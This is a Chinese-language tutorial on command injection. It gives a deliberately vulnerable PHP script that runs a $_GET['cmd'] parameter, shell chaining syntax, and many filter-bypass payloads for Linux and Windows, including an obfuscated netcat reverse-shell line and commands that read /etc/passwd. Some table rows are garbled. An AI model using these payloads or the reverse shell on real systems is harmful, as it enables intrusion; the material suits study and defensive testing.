命令执行

1. 定义

  • 应用程序直接或间接使用了****动态执行命令的危险函数,并且这个函数的运行参数是可控的,导致恶意命令执行

2. 防御

  1. 尽量****少使用执行命令函数或者禁用disable_functions
  2. 在进入执行命令的函数之前,对****参数进行过滤,对敏感字符进行转义
  3. 参数值尽量使用****引号包括,并在拼接前调用addslashes进行转义

3. 涉及函数

(1). 代码命令执行

eval()、assert()、preg_replace()、create_function()、asort()、

array_map()、array_filter()、

call_user_func()、call_user_func_array()

(2). 系统命令执行

system()、exec()、shell_exec()、passthru()、popen()、反引号、proc_close、proc_open、dl

<?php
if(isset($_GET['cmd'])){
    $cmd= $_GET['cmd'];
#1. system,自带输出
    system($cmd);  echo '<br>1<br>';
#2. exec,无输出,且仅输出最后一行
    print exec($cmd);  echo '<br>2<br>';
#3. shell_exec
    echo shell_exec($cmd);  echo '<br>3<br>';
#4. passthru,直接将结果输出
    passthru($cmd);  echo '<br>4<br>';
#5. popen,返回一个文件指针,无回显
    $cmd= $_GET['cmd'].">>1.txt";
     popen($cmd,'r');  echo '<br>5<br>';
#6. 反引号,原理是调用的shell_exec函数
    $cmd= $_GET['cmd'];
    print `$cmd`;  echo '<br>6<br>';
}
?>

4. 多命令执行语法

(1). windows

命令格式 含义
command1**&**command2 先后执行,无论command1是否成功
command1**&&**command2 先后执行,command1成功,才执行command2
command1**
command1** **command2

(2). Linux

命令格式 含义
command1**;**command2 先后执行,无论command1是否成功
command1**&&**command2 先后执行,command1成功,才执行command2
command1**&**command2 先执行command1并放置后台,在执行command2
command1**
command1** **command2

5. 变形

(1). Linux

a. bash通配符
通配符 通配符解释 案例 案例解释
* 代表****0到无穷多个任意字符 /bin/cat /etc/*wd 查看/etc文目录下以wd结尾的文件
? 代表一定有1个任意字符 /b?n/cat /etc/pass?d 查看/etc文目录下符合要求的文件
[] 代表****一定有1个在括号内的字符 /bin/cat /etc/[pwe]ass[aswd]d
- 代表****在编码顺序内的所有字符 [0-9] 0到9之间的所有数字
^ 代表****反向选择 [^abc] 一定没有一个括号内的字符
b. IP转数字,数字转IP
192.168.12.151 =>  3232238743
反弹shell的使用: 	/???/nc -e /???/b??h 3232238743 1234
c. 连接符
#原型:/bincat /etc/passwd
1. 单引号: ''包裹
	/b'i'n/c'a't /e't'c/'p'a's's'w'd
2. 双引号
	c"a"t /"e"t"c"/"p"a"s"s"w"d
3. 反斜杠
	c\a\t /e\t\c/p\a\s\s\w\d
d. 未初始化的变量
  • 未初始化的变量,直接使用时,变量值为null
echo $a $b $c
#执行whoami的变形
a=w;b=hoa;c=mi;$a$b$c

e. 反引号执行
  • 在Linux下,反引号中间的字符能够被当做命令执行
#执行whoami命令:
`whoami`
who`sadasdasdfasfas`am`safqwafasfa`i
f. 其他符号
  • 大括号重定向符号绕过空格的过滤
1. 大括号
    #执行的 cat /etc/passwd命令:
    {cat,/etc/passwd}

    #执行ls -la指令:
    {ls,la}
2. 重定向
	#小于号是输入重定向,就是把后面跟的文件取代键盘作为新的输入设备,大于号是输出重定向
	a. 执行ls
		l<>s
g. base64编码
  1. 首先echo [命令] | base64
    echo whoami|base64 
    
    a=echo whoami|base64;echo a| base64 -d
    
  2. 将命令以base64编码的形式表示出来
    echo [编码之后的命令] | base64 -d		#-d指令表示进行解码
    
  3. 使用反引号执行该字符串
    `echo [编码之后的命令] | base64 -d`
    
h. 默认字符命令
  • echo **${#PATH} 可以截取**字符串
    echo ${#PATH5:1}		=>   l
    echo ${#PATH5:1}echo ${#PATH2:1}		=>	ls
    `echo ${#PATH5:1}${#PATH2:1}`		=>	ls
    ${#PATH5:1}${#PATH2:1}		=>	ls
    

(2). Windows

a. 大小写混合
  • 双引号^成对的圆括号 并不会影响命令的执行
    whoami	=>
    	w"h"o"a"m"i"
    	(((whoami)))
    	w^h^o^a^m^i		#不能是 ^^ ,2个^代表转义
    
b. set命令和windows变量绕过
set a=whoami
echo a		#输出:whoami
echo %a%	#输出:whoami命令执行结果

set z=ipc
set x=onfig
%z%%x%		#输出:ipconfig的执行结果
c. 字符串的切割
  • %变量名:~x,y% :变量从第x个元素开始提取,总共取y个字符
#  %a%的输出为whoami
%a:~0%		#取出a的值中的所有字符
%a:~0,6%	#取出a的值,从第0个位置开始,取6个值
d. 多命令执行语法
  • 管道符 | :可以连接命令,且只执行后面的命令
    whoami | net user
    
  • 双管道符||只有前面的命令失败执行后面的命令
    whoam || net user
    
  • &:前面的命令不影响后面命令的执行
    whoami & net user
    
  • &&前面的命令成功才执行后面的命令
    whoami && net user
    

**## **